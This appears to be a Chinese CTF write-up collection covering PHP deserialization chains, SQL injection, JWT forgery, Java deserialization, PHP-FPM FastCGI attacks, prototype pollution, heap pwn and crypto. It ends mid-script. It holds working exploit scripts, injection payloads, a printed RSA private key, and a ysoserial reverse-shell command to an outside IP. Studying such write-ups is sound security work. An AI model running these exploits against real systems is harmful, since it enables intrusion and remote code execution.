0%

记一道有趣的反序列化题目

  <?php
class a {
    public function __destruct()
    {
        $this->test->test();
    }
}

abstract class b {
    private $b = 1;
    abstract protected function eval();
    public function test() {
        ($this->b)();
    }
}

class c extends b {
    private $call;
    protected $value;
    protected function eval() {
        if (is_array($this->value)) {
            ($this->call)($this->value);
        } else {
            die("you can't do this :(");
        }
    }
}

class d {
    public $value;
    public function eval($call) {
        $call($this->value);
    }
}

if (isset($_GET['data'])) {
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
}  
  • 题目开始思路很简单,入口就是__destruct,$this->test->test();当中会自动调到test,而类b中正存在test,而类c是继承类b的因此类c可以视作类b的增量。也就是说c中也存在test方法.我们将$this->test赋为object c同样能调到test.现在需要考虑的问题是方法test如何调用到后面的方法。因为如果只将属性b赋值为一个字符串的话那就只能调用简单的无参数方法例如phpinfo,本题的目标肯定是RCE,肯定是需要调用到方法eval,并且跳转到class d中的。这里就存在一个PHP的类方法调用的Trick.除了使用->调用动态类方法外还有就是使用数组拼接括弧的方法例如:
<?php
class a{
    public function __construct(){
      [$this,'test']();
    }
    public function test(){
      echo "hello hacker!";
    }
}

new a();
  • 该方法可以看到如果函数名字是一个数组,并且第一个元素是一个Object,第二个元素是一个字符串或者说方法名,那么在执行到该代码时候会自动调用第一个元素中的object的对应数组第二个元素的方法,也就是这$this是指类a本身的object,会自动调用到test方法。
  • 知道该点之后我们就可以知道我们可以class b中的属性b赋值为[$this,'eval']如此一来我们就可以直接调用到类本身的eval方法。但是由于class c重载了eval方法他必须要求value属性必须为数组。我们没法利用此进行RCE,我们必须另谋出路,我们可以看到class d中也存在动态拼接函数的问题,但是它并没有限制参数必须是数组的情况。我们可以故技重施,在 class c中的eval,利用上述方法调用d中的eval。例如
$this->call=[new d('system'),'eval'];
$this->value=[new d("whoami"),'eval'];
  • 为什么value和call是一样的呢?因为上面要求value的值必须是一个数组,并且我们传入的value又会被当做函数来执行,这样的话就能够递归调用class d中的eval方法,在第一次调用后会再次调用d中的eval,并且给value赋值为system,在第一次调用完会递归调用一次eval,这时候eval的参数传入的是system这样就导致执行system函数。从而RCE,递归调用过程如下:
image-20211029095213105
  • 完整的EXP如下:
<?php
class a {
    public function __destruct()
    {
        $this->test->test();
   }
}

abstract class b {
    private $b ;
    public function __construct()
    {
        $this->b = [$this,'eval'];
    }

    abstract protected function eval();

    public function test() {

        ($this->b)();
    }
}

class c extends b {
    private $call;
    protected $value;

    public function __construct($command){
        parent::__construct();
        $this->call=[new d('system'),'eval'];
        $this->value=[new d($command),'eval'];
    }
    protected function eval() {
        if (is_array($this->value)) {
            ($this->call)($this->value);
            // object d ->eval()
        } else {
            die("you can't do this :(");
        }
    }
}

class d {
    public $value;
    public function __construct($command){
        $this->value=$command;
    }
    public function eval($call) {
        //frist : $call :obect d('system') -> eval('system'); 
        //          $this->value = 'system'
        //         
        // scecond : $call : object d('whoami') -> eval('system');
        //              $this->value = 'whoami'
        // third : system('whoami')
        //              
        $call($this->value);
        //object d ->eval("whoami")
    }
}
$a = new a();
$c = new c('whoami');
$a->test = $c;


echo base64_encode(serialize($a));

香山杯 WEB

login

测试发现union没有被过滤,测试发现版本位MYSQL8,直接values 生成一个新的值,不过密码注意要是md5加密后的。

username=aadmin' union values row(1,'admin','21232f297a57a5a743894a0e4a801fc3')#&password=admin&login=login

海量视频

时间盲注直接出来密码:

import requests


def ord2hex(string):
    result = ""
    for i in string:
        r = hex(ord(i));
        r = r.replace('0x','')
        result = result+r
    return '0x'+result

tables = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ""
for i in range(1,50):
    for j in range(36,128):
        data = {
            'username':"admin' and if((ord(mid((select pwd from user where username='admin'),%s,1))=%s),sleep(5),1)#"%(i,j),
            'pwd':'admin',
        }
        try:
            r = requests.post('http://eci-2ze2somogyzyy5tuz8cx.cloudeci1.ichunqiu.com',data=data,timeout=2);
        except Exception as e:
            flag = flag+chr(j)
            print(flag)
            break

F12 发现存在任意文件读取,直接读源码,发现需要JWT伪造,直接下载公钥进行JWT伪造:

<?php 
include('JWT.php');
include('Key.php');
use Firebase\JWT\JWT;
use Firebase\JWT\Key;

$privateKey = <<<EOD
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCrC+gEPuf8kPP5QXqT74Fp+w/uSk57DeSrc8PnxJ3IjbrklWB9
shUnoNnAs2I8SveYgrMVXcjodqhTjh9xDRTwSdqmi+HUqDyrzkoHRkhs+o5wvIm7
WbkQCp6EqYX5FmJqBlEAUVlNMgBEA+rLB7S4qoWzMlkyJhdQctao972JkQIDAQAB
AoGAalFcRkdTq4nuHGC28H1O07FalaNaZOKd4HR0sPtll+OA59Rxxa+LtrYko8Lc
rN1sST/0ULOazePzfPw6Turyt+TRgtezmOzhbqk+QUQ1fqW9mvcPIoVogEEEALla
5tjnDKsUUBpihsLsDGQYkAZLk/uFGcfBKfPPtHdFl8YrwAECQQDaQQWNpuN3N4Yo
y+nid8WYMdbfRP/S9QdeY1j95kagxz5FXYznpKTdxsX5ulSD+QV7E+6o7T79XEnM
2A3KjHShAkEAyKDSAOeVFbS8M/2/Qn2U6bm0rozEPudkUIC9e/2cA0tMnsICtGXR
uKgAQEEHHMw54KghxCyxeAD06GUSjkz+8QJARGSl0drfYweCQhyMYUx5HhVYKUUd
CcWBFqH5TC8yKMXnDKOhOSHODDVy6qvqOiT6A7SeUE9wMsMN2WRHBhb3oQJAEUQF
zp4fbmbHa5ICy64TCqo4qmzi1qcDMwphRDJnIsFwLplzsiKxEbsjimQOQKQyturB
PSi7fSBX80f/eM+XgQJAP7HhrNgm0NAiMJHVR3QF/2sYOF92xzj/bp3sq1y4mmBE
6Zr6qFiWpYasR8DnBnd19rM0FEDfppYyK9f8Q+OzRg==
-----END RSA PRIVATE KEY-----
EOD;

$publicKey = <<<EOD
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCrC+gEPuf8kPP5QXqT74Fp+w/u
Sk57DeSrc8PnxJ3IjbrklWB9shUnoNnAs2I8SveYgrMVXcjodqhTjh9xDRTwSdqm
i+HUqDyrzkoHRkhs+o5wvIm7WbkQCp6EqYX5FmJqBlEAUVlNMgBEA+rLB7S4qoWz
MlkyJhdQctao972JkQIDAQAB
-----END PUBLIC KEY-----
EOD;

$payload = array(
        "name" => "admin",
        "pwd" => 'jw2fdkci2F2md2FFA4',
        "isadmin" => true,
    );

$jwt = JWT::encode($payload, $privateKey, 'RS256');
echo "Encode:\n" . print_r($jwt, true) . "\n";

$decoded = JWT::decode($jwt, new Key($publicKey, 'RS256'));
$sqlres = "select *  from user where username = '" .$decoded->name . "';";
echo $sqlres;
/*
 NOTE: This will now be an object instead of an associative array. To get
 an associative array, you will need to cast it as such:
*/

$decoded_array = (array) $decoded;
echo "Decode:\n" . print_r($decoded_array, true) . "\n";
  • 用伪造的cookie 直接登录成功:

image-20211107150622726

  • 后台SSRF直接攻击Redis直接getshell

image-20211107150814428

  • getshellh后需要Bypass disable function,发现没有ban error_log,可以直接用LD_PRELOAD来bypass,但是蚁剑的不大行,我们直接自己上传,执行readflag

image-20211107151017211

强网杯个人赛-resumes-Writeup

  • 题目提示70亿次,应该读取到第70亿就可以得到flag,测试发现GET请求就会返回下一个简历的Cookie
image-20211013003101368

Cookie解密

  • 百度发现H4SIAAAAA开头的BASE64都是base64编码Gzip之后的结果。
image-20211013003342287
  • 于是逆过来解码,发现最后一位十六进制就是当前简历位数。脚本解码保存到文件010修改,再次编码即可。
<?php
$flag = "H4sIAAAAAAAAAFvzloG1uIhBNzk/V68otbg0N7UYg87NT0nN0QsC85zzS/NKgt9/nfvHul6ZiYHRi4G1LDGnNLWigAECtADGk+TeUgAAAA==";
$flag = base64_decode($flag);
file_put_contents("flag", gzdecode($flag));
?>
image-20211013003616352
  • 得到一半的FLAG
image-20211013003702309
  • 下一步提示在/opt中,这指定是要Getshe l l,cookie就是一个java序列化之后的结果,我们直接在cookie处进行反序列化。由于不知道是哪条链随便用ysoserial整了个gadget出来打发现可以识别出来模块,说明就是这里反序列化没跑了。
image-20211013004016802
  • 写了个脚本之家爆破链即可:
image-20211013004148162
  • Dnslog接收到信息
image-20211013004409047
<?php
//$flag = "H4sIAAAAAAAAAFvzloG1uIhBNzk/V68otbg0N7UYg87NT0nN0QsC85zzS/NKgt9/nfvHul6ZiYHRi4G1LDGnNLWigAECtADGk+TeUgAAAA==";
//$flag = base64_decode($flag);
//file_put_contents("flag", gzdecode($flag));

$a = ['Spring1','Spring2'];
for($i=0;$i<count($a);$i++){
    unlink('payload.bin');
    @shell_exec(sprintf("java -jar ysoserial.jar %s bash 'bash -i >& /dev/tcp/39.107.126.173/1080 0>&1'> payload.bin",$a[$i]));
    $cookie = base64_encode(gzencode(file_get_contents('payload.bin')));
     echo geturl($cookie)."\n\n\n\n\n";
}


function geturl($cookie){
        $headerArray =array("Content-type:application/json;","Accept:application/json","Cookie: counter=$cookie");
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "http://124.71.156.217:32770");
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
        $output = curl_exec($ch);
        curl_close($ch);
        $output = $output;
        return $output;
}
?>
  • 反弹shell后得到另一半FLAG

image-20211013005349598

PHP—FPM攻击

Fastcgi协议

Fastcgi是服务器中间件和php(或其他语言后端)后端进行数据交换的协议。

record结构

record结构如下:

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

其中Header由8个成员组成,每个变量占用1个字节。其中requestId2个字节,是一个唯一的标志Id主要是为了避免多个请求之间的影响。contentLength占两个字节,表示body的大小。因此contentData最大大小为1111111111111111也就是65535.后端语言在解析Fastcgi协议时候先通过Header读取contentLength确定body大小.

paddingData是保留块,在不需要的情况下直接置长度为0即可。

type是指定该record的作用,其值和具体含义如下

type值 含义
1 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息
2 异常断开与php-fpm的交互
3 在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束
4 在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对
5 web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5
6 php-fpm给web服务器回的正常响应消息的type就设为6
7 php-fpm给web服务器回的错误响应设为7

由于一个record的大小和作用都是有限和单一的。我们只能通过发送多个record,各个record共用一个requestId来表示一个完整消息。

完整消息record

type值 record
1 header(消息头) + 开始请求体(8字节)
3 header + 结束请求体(8字节)
4 header + name-value长度(8字节) + 具体的name-value
5,6,7 header + 具体内容

这是一个完整的record,开始请求通信时候先发送type1record,进行通信时候发送type4、5、6、7record结束通信发送type为2或者3的record.

其中type为4的请求需要特别关注,他会在body中发送键值对这是环境变量。环境变量的结构如下:

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair11;

typedef struct {
  unsigned char nameLengthB0;  /* nameLengthB0  >> 7 == 0 */
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength];
} FCGI_NameValuePair41;

typedef struct {
  unsigned char nameLengthB3;  /* nameLengthB3  >> 7 == 1 */
  unsigned char nameLengthB2;
  unsigned char nameLengthB1;
  unsigned char nameLengthB0;
  unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
  unsigned char valueLengthB2;
  unsigned char valueLengthB1;
  unsigned char valueLengthB0;
  unsigned char nameData[nameLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
  unsigned char valueData[valueLength
          ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;

可以看到有四个结构,四个结构分别运用于不同的场景。

结构 用途
FCGI_NameValuePair11 key、value均小于128字节时候使用
FCGI_NameValuePair41 key大于128字节,value小于128字节时候使用
FCGI_NameValuePair14 key小于128字节,value大于128字节时候使用
FCGI_NameValuePair44 key、value均大于128字节时候使用

PHP-FPM

PHP-FPM是Fastcgi协议解析器,中间件在接收客户请求后将客户请求按照Fastcgi对应的格式打包传送给FPM。FPM再按照Fastcgi协议将TCP流解析为数据.

例如,用户在访问http://127.0.0.1/index.php?a=1&b=2时候Nginx会将请求转换为如下键值对(默认web路径为/var/www/html/):

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

PHP-FPM在接收到上述键值对后会将其填充到$_SERVER。也就是PHP的环境变量中,并且会通过SCRIPT_FILENAME变量来执行对应的脚本。

PHP-FPM未授权访问漏洞

PHP-FPM默认监听9000端口,若这个端口暴露在公网上,我们可以通过构造上文所述的Fastcgi协议直接与PHP-FPM通讯执行任意代码。

如何执行任意代码?

其实在PHP5.3.8之前FPM是没有security.limit_extensions配置选项的。在此版本之后加入了该选项,限制了SCRIPT_FILENAME中脚本文件的后缀白名单,导致我们无法让任意当做PHP代码执行。

但是我们可以还可以控制php环境变量,加入我们在环境变量中开启远程文件包含,allow_url_include = On,方式将内容传入那不是可以执行任意代码了吗?

例如:

'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

type4发送如下record:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

当然这里需要一个已经存在的php文件。如果我们无法找到服务器的web路径或者php文件,那么我们可以利用一些php安装时候就已经存在的文件。

例如:

/usr/local/lib/php/PEAR.php

那么我们如何利用漏洞呢?我们利用靶机:gqleung/php-fpm来复现此漏洞。我编写了一个Fastcgi客户端程序来发送咱们的攻击Record。具体演示请看文章最后。

EXP编写

通过上文我们可以知道一个基本的攻击流程如下图:

image-20210504092539583

下面以POST数据包为例,简单讲述一下如何构建和发送一个Fastcgi数据包,后文会完整贴出代码。定义一个Header的结构体与上文一致:

typedef struct {
    unsigned char version;
    unsigned char type;
    unsigned char requestIdB1;
    unsigned char requestIdB0;
    unsigned char contentLengthB1;
    unsigned char contentLengthB0;
    unsigned char paddingLength;
    unsigned char reserved;
} FCGI_Header;

构建函数通过结构体来构建Header

static FCGI_Header MakeHeader(int type,int requestId,intcontentLength,int paddingLength){
    FCGI_Header header;
    header.version = FCGI_VERSION_1;
    header.type = (unsigned char) type;
    header.requestIdB1 = (unsigned char) ((requestId     >> 8) & 0xff);
    header.requestIdB0 = (unsigned char) ((requestId         ) & 0xff);
    header.contentLengthB1 = (unsigned char) ((contentLength >> 8) & 0xff);
    header.contentLengthB0 = (unsigned char) ((contentLength     ) & 0xff);
    header.paddingLength = (unsigned char) paddingLength;
    header.reserved = 0;
    return header;
}

编写发送POST数据包函数,其中FCGI_STDIN是定义的常量5,也就是type的值5发送POST-Record的特征,同时我们需要构建Record的body,只需将长度和数据内容写进buff即可,如果大于128需要分开处理一下。具体实现方法如下:

void BuildPostbody(  char *value,
                     int valueLen,
                     unsigned char *bodyBuffPtr,
                     int *bodyLenPtr){
    unsigned char *startBodyBuffPtr = bodyBuffPtr;
    if (valueLen < 0x80) {
        *bodyBuffPtr++ = (unsigned char) valueLen;
    } else {
        *bodyBuffPtr++ = (unsigned char) ((valueLen >> 24) | 0x80);
        *bodyBuffPtr++ = (unsigned char) (valueLen >> 16);
        *bodyBuffPtr++ = (unsigned char) (valueLen >> 8);
        *bodyBuffPtr++ = (unsigned char) valueLen;
    }
    while(*value != '\0'){
        *bodyBuffPtr++ = *value++;
    }
    *bodyLenPtr = bodyBuffPtr - startBodyBuffPtr;
}
void SendPost(char payload[], int payloadLen){
    FCGI_Header  payloadHeader ;
    int valuenameRecordLen,bodyLen;
    valuenameRecordLen =  payloadLen+FCGI_HEADER_LEN;
    char valuenameRecord[valuenameRecordLen];
    unsigned char bodyBuff[PARAMS_BUFF_LEN];
    payloadHeader = MakeHeader(FCGI_STDIN, requestId,payloadLen, 0);
    BuildPostbody(payload,  payloadLen,&bodyBuff[0],&bodyLen);
    memcpy(valuenameRecord, (char *)&payloadHeader, FCGI_HEADER_LEN);
    memcpy(valuenameRecord+FCGI_HEADER_LEN, bodyBuff, bodyLen);
    write(sockfd, (char *)&valuenameRecord, valuenameRecordLen);
}

我们知道POST如何构建了,其他包发送也基本一致,不再赘述。按照上述流程分别编写请求Record,结束Record,发送键值对Record。即可

int main(int argc, char ** argv){
    int i,port;
    char ipaddr[15],*payload,*path;
    if(argc==9) {
        for (i = 0; i < argc; i++) {
            if (strcmp(argv[i], "-t") == 0) {
                strcpy(ipaddr, argv[i + 1]);
            } else if (strcmp(argv[i], "-p") == 0) {
                port = atoi(argv[i + 1]);
            } else if (strcmp(argv[i], "-c") == 0) {
                payload = (char *) malloc(strlen(argv[i + 1]) + 1);
                payload = argv[i + 1];
            } else if (strcmp(argv[i], "-f") == 0) {
                path = (char *) malloc(strlen(argv[i + 1]) + 1);
                path = argv[i + 1];
            }
        }
    }else{
        printf("Wrong number of argc ! Please enter the correct parameters.\n\n-t target\n-p port\n-c php script\n-f file\n\nEg:./a.out -t 8.8.8.8 -p 9000 -c \"<?php echo \\`whoami\\`;?>\" -f \"/usr/local/lib/php/PEAR.php\"\n\n");
        exit(0);
    }
    requestId = rand()%100+1;
    int payloadLen = strlen(payload)+1;
    char content_length[10];
    sprintf(content_length,"%d",payloadLen);
    //发起连接请求
    SendStartRequestRecord(ipaddr, port);
    //发送键值对
    SendKeyValue(path,content_length);
    //发送结束Record
    SendEndRequestRecord();
    //发送攻击POST包
    SendPost(payload,payloadLen);
    //发送结束Record
    SendEndRequestRecord();
    //读取返回包
    ReadRequestRecord();
    return 0;
}

完整代码已经上传到githubhttps://github.com/sharpleung/Fastcgi-PHP-FPM

使用方法:

image-20210504232317603

PHP-FPM SSRF RCE

我们利用靶机:gqleung/php5-fpm(docker镜像)来讲解,如何使用SSRF配合PHP-FPM未授权访问漏洞进行RCE。

靶机是直接给出源码:

image-20210508081953906

咱们用file://协议直接读取文件发现是不行的,通过目录扫描发现目录下存在info.php。发现开启了PHP-FPM考虑使用gophar协议通过SSRF进行RCE。

使用gophers生成相关payload。

 python gopherus.py --exploit fastcgi

image-20210508083553912

由于curl会进行一次URL解码加上传输到服务器会进行解码一次,因此传输的payload需要二次编码,直接cat /flag即可:

image-20210508084053405

WEB

old

F12看源码有个接口随便整点链接发现会将文件打包成PDF。想到了前年还是去年的blackhat的一个议题,利用HTML转PDF时候link内容会被打包进PDF来读取flag。不过试了一下读远程HTML好像不大行。

image-20210523154113171

尝试读取/etc/passwd

image-20210523154227719 image-20210523154301354

尝试读取flag,发现被过滤。直接双url编码绕过读取,直接读到flag,应该非预期。

http://8.134.48.81:20012/openStream?url=file:///%2566lag.txt
image-20210523154425481

try_js

附件给出源码:

const http = require("http");
const express = require("express");
const bodyParser = require("body-parser");
const mixme = require("mixme");
const session = require("express-session");
const randomize = require("randomatic");
const morgan = require("morgan");

const app = express();
app.set("json escape", true);
app.use(morgan("short"));
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json());
// app.use(express.json());
app.use(
    session({
        name: "session",
        secret: randomize("aA0", 16),
        resave: false,
        saveUninitialized: false,
    })
);

const Super = {
    passone: process.env.sperson,
};

function blacklist(url) {
    var evilwords = ["DirectoryIterator", "FilesystemIterator", "GlobIterator"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true;
        }
    }
}

//TODO
//get url content

app.post("/getinfo", (req, res) => {
    console.log(req.body);
    if (req.body.userid === undefined || req.body.key === undefined) {
        res.send("you want to post null?");
    } else {
        let userid = req.body.userid;
        let key = req.body.key;
        console.log(userid);
        console.log(key);
        if (Super[userid] === key) {
            res.send(
                "admin!\nyou can goto ***** endpoint to hack!"
            );
        } else {
            res.send("You are not the Super, so I cannot give you the truth.");
        }
    }
});

app.all("/", (req, res) => {
    let data = { userid: [], key: [] };
    console.log(data);
    console.log(req.body);
    if (req.method == "POST" && req.body) {
        data = mixme.merge(data, req.body);
        req.session.data = data;
        // console.log("After MERGE: " + Super["test"]);
    }
    res.send("to be admin and you will find it!");
});

app.listen(3000, () => console.log(`Example app listening on port 3000!`));

其中:

data = mixme.merge(data, req.body);

此处有个merge操作有个CVE(https://www.op-c.net/2021/05/05/prototype-pollution-high-vulnerability-in-mixme-npm-package/)找到项目,发现有个commit显示提交了一个修复:

https://github.com/adaltas/node-mixme/commit/cfd5fbfc32368bcf7e06d1c5985ea60e34cd4028

如果远程版本在提交之前,那么就可以原型链污染,本地启个环境:

远程打出接口:

访问是一个请求内网80端口的接口,直接扫目录找到一个info.php还有一个z.php在z.php直接得到flag,不过看黑名单预期应该是原生类反序列化读文件,不过没找到能够利用的PHP文件,这个应该是非预期。

PWN

PWN1(BabyNote)

from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
    p.sendlineafter(">>> ",str(1))
    p.sendafter("Input Content:\n",content)
def gift():
    p.sendlineafter(">>> ",str(666))
def delete(id):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("Input ID:\n",str(id))
    p.sendafter("Input Content:\n",content)

def exp():
    add('a'*58)#0
    add('a'*58)#1
    add('a'*58)#2
    for _ in range(8):
        delete(0)
        edit(0,'b'*0x58)
    edit(0,'\x00'*0x10)
    p.sendlineafter(">>> ",'1'*0x450)
    edit(0,'\xa0\x66')

    stdout_offset = libc.symbols['_IO_2_1_stdout_']
    log.info("stdout_offset:"+hex(stdout_offset))

    add('c'*0x8)#3
    # gdb.attach(p,"b *$rebase(0x1392)")
    # raw_input()
    add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
    libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7fbe678e5980-0x7fbe676fa000)#- (0x7ffff7fac980-0x7ffff7dc1000)
    log.info("libc_addr:"+hex(libc_addr))

    free_hook = libc_addr+libc.sym['__free_hook']
    system_addr = libc_addr+libc.sym['system']
    binsh_str = libc_addr+libc.search('/bin/sh').next()

    delete(1)
    edit(1,p64(free_hook)*2)
    add('/bin/sh\x00')
    add(p64(system_addr))
    delete(1)

    p.interactive()


# p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
    # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
    # libc = ELF("./libc-2.31.so")
    # p = process("./BabyNote")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("8.134.14.168", 10000)
    libc = ELF("./libc-2.31.so")
    while True:
        try:
            exp()
            exit(0)
        except:
            p.close()
            p = remote("8.134.14.168", 10000)
            # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})

PWN2 BabyNote_revenge

from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
    p.sendlineafter(">>> ",str(1))
    p.sendafter("Input Content:\n",content)
def gift():
    p.sendlineafter(">>> ",str(666))
def delete(id):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("Input ID:\n",str(id))
    p.sendafter("Input Content:\n",content)

def exp():
    add('a'*58)#0
    add('a'*58)#1
    add('a'*58)#2
    for _ in range(8):
        delete(0)
        edit(0,'b'*0x58)
    edit(0,'\x00'*0x10)
    p.sendlineafter(">>> ",'1'*0x450)
    # edit(0,'\xa0\xa6')
    edit(0,'\xa0\x66')


    # stdout_offset = libc.symbols['_IO_2_1_stdout_']
    # log.info("stdout_offset:"+hex(stdout_offset))

    add('c'*0x8)#3
    add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
    libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7f61c5525980-0x7f61c533a000)#(0x7ffff7f59980-0x7ffff7d6e000)
    #libc_addr:0x7f1eb42b5980
    log.info("libc_addr:"+hex(libc_addr))
    # gdb.attach(p,"b *$rebase(0x13E2)")
    # raw_input()
    free_hook = libc_addr+libc.sym['__free_hook']
    log.info("free_hook:"+hex(free_hook))
    system_addr = libc_addr+libc.sym['system']
    binsh_str = libc_addr+libc.search('/bin/sh').next()

    delete(1)
    edit(1,p64(free_hook)*2)
    add('/bin/sh\x00')
    add(p64(system_addr))



    delete(1)

    p.interactive()


# p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
    # p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
    # libc = ELF("./libc-2.31.so")
    # p = process("./BabyNote_revenge")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("8.134.14.168", 10001)
    libc = ELF("./libc-2.31.so")
    while True:
        try:
            exp()
            exit(0)
        except:
            p.close()
            p = remote("8.134.14.168", 10001)
            # p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
            # p = process("./BabyNote_revenge")

CRYPTO

这是道签到题

010打开发现是一个压缩包直接改后缀,解压得到一张图片,扔010里面找到一个密文一个秘钥,解出来:

image-20210523173441760

CRYPTOCRYPTO

import random
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes

# right shift inverse


def inverse_right(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift
    return tmp


# right shift with mask inverse
def inverse_right_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp >> shift & mask
    return tmp

# left shift inverse


def inverse_left(res, shift, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift
    return tmp


# left shift with mask inverse
def inverse_left_mask(res, shift, mask, bits=32):
    tmp = res
    for i in range(bits // shift):
        tmp = res ^ tmp << shift & mask
    return tmp


def extract_number(y):
    y = y ^ y >> 11
    y = y ^ y << 7 & 2636928640
    y = y ^ y << 15 & 4022730752
    y = y ^ y >> 18
    return y & 0xffffffff


def recover(y):
    y = inverse_right(y, 18)
    y = inverse_left_mask(y, 15, 4022730752)
    y = inverse_left_mask(y, 7, 2636928640)
    y = inverse_right(y, 11)
    return y & 0xffffffff


f = open('output', 'r').read().strip().split(',')
r = [int(i) for i in f[:-1]]
c = long_to_bytes(int(f[-1], 16))
state = []
for _ in range(624):
    state.append(recover(r[_]))
for i in range(624):
    for j in range(i+1):
        state[j] ^= i % 256
s = (3, tuple(state+[0]), None)
print(len(s[1]))
random.setstate(s)
key = long_to_bytes(random.getrandbits(128))
a = AES.new(key, AES.MODE_ECB)
print(a.decrypt(c))
#

rsarsa

国赛rsa改编,得到text后md5加密即可拿到flag

m1、m2、m3分别是维纳攻击、Hastad攻击、已知p高位攻击

m1:

import gmpy2
import libnum
import RSAwienerHacker

